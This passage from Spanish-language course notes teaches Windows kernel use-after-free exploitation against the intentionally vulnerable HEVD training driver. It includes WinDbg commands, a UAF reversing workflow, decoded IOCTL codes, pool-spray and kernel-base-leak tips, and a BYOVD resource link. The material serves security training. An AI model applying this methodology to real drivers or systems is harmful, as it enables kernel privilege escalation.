  3. Antes de continuar, modificar RIP manualmente para saltearse el call:
    0: kd> r rip = <addr de la siguiente instrucción>
    
  4. Continuar normalmente (g). El driver retorna sin crashear, el sistema sigue vivo, se puede iterar.

Ejemplo concreto

0: kd> u HEVD!UseUaFObject + 0x12 L2
HEVD!UseUaFObject+0x12:
fffff80a`12345678 ff10            call    qword ptr [rax]    ; ← break aquí
fffff80a`1234567a 33c0            xor     eax, eax            ; ← saltar a esto
fffff80a`1234567c c3              ret

0: kd> r rax
rax=0000000000000000   ← null deref → BSoD si dejamos correr

0: kd> r rip = fffff80a`1234567a   ; saltear el call
0: kd> g                            ; continuar — driver retorna OK, no BSoD

Cuándo usarlo

Situación Útil
Verificando que el state se está armando bien (allocate/free orden)
Iterando en pool spray para encontrar el size correcto
Confirmando que el Callback se pisó correctamente
Para "explotar de verdad" ❌ — en este punto sí dejar correr

Por qué es seguro: El call qword ptr [rax] que falló es a una función inválida — el resto del handler (después del call) generalmente solo limpia y retorna STATUS_SUCCESS. Saltarse el call no rompe el state del driver para un próximo test.

No siempre es seguro: Si el código después del call asume que el callback hizo algo (ej. modificó una global), saltearlo puede dejar state corrupto. Mirar el flujo siguiente antes de saltar.


16. Cheat sheet de la clase

Comandos WinDbg nuevos

rdmsr c0000082                       ; leer LSTAR
wrmsr c0000082, <val>                ; ESCRIBIR LSTAR (BSoD inmediato por PatchGuard — solo curiosidad)
!pool <addr>                         ; estado del chunk del pool al que pertenece <addr>
!pool <addr> 2                       ; igual pero con detalles extras
!poolfind <tag>                      ; buscar todos los chunks con un tag específico
dt nt!_POOL_HEADER <addr>            ; aplicar struct del header del pool

Workflow para reversear un UAF

1. Identificar IOCTLs con Allocate     → ExAllocatePoolWithTag visible
2. Identificar IOCTLs con Free         → ExFreePoolWithTag
3. Verificar que el Free NO nullifica  → bug si la global queda dangling
4. Buscar IOCTLs que dereferencien la  → "use" → call indirect / store
   global del objeto (xrefs)
5. Confirmar el reuse vector (Allocate → Allocate Fake en el mismo bucket
   Fake del mismo size + tag)
6. Tirar el exploit naive en debug      → confirmar bug en runtime
7. Si el reuse no ocurre, agregar      → pipes / mailslots / etc.
   pool spray

Decodificación del IOCTL UAF

IOCTL DeviceType Method FunctionCode Operación
0x222053 0x22 METHOD_NEITHER 0x814 Allocate UAF
0x22205B 0x22 METHOD_NEITHER 0x816 Free UAF
0x22205F 0x22 METHOD_NEITHER 0x817 Allocate Fake
0x222057 0x22 METHOD_NEITHER 0x815 Use UAF

Dos reglas de oro

Regla Dónde aplica
Pisar LSTAR está muerto desde Vista x64 (PatchGuard); leerlo sigue siendo útil para leak Cualquier exploit que necesite la base de ntoskrnl
El leak de kernel base cambia mes a mes — no aprenderse uno específico, aprenderse el método de buscar uno vigente Cada exploit kernel nuevo

Pool tags y endianness — el truco más confuso

Código:           '_kcaH_'  (kernel literal)
Bytes en mem:     6B 63 61 48
Vista en !pool:   Hack

Cuando se ve mov r8d, 6B636148h en assembly, es un tag Hack que se ve normal en !pool. La inversión es por little-endian, no por el código fuente.

Recursos

Recurso URL
HEVD repo https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
ExAllocatePoolWithTag docs https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-exallocatepoolwithtag
ExFreePoolWithTag docs https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-exfreepoolwithtag
MSR list (LSTAR, STAR, etc.) https://en.wikipedia.org/wiki/Model-specific_register
PatchGuard overview https://en.wikipedia.org/wiki/Kernel_Patch_Protection
LFH/Segment Heap analysis https://www.synacktiv.com/en/publications/heap-internals-and-exploitation-low-fragmentation-heap-lfh.html
Awesome Windows kernel security https://github.com/sailay1996/awesome-windows-kernel-security-development
LOLDrivers (BYOVD database) https://www.loldrivers.io/

Apuntes basados en la transcripción de la Clase 3 del Módulo 5 de Binary Gecko Academy — Next-Gen Reverse Engineering Training, sesión del 07/05/2026.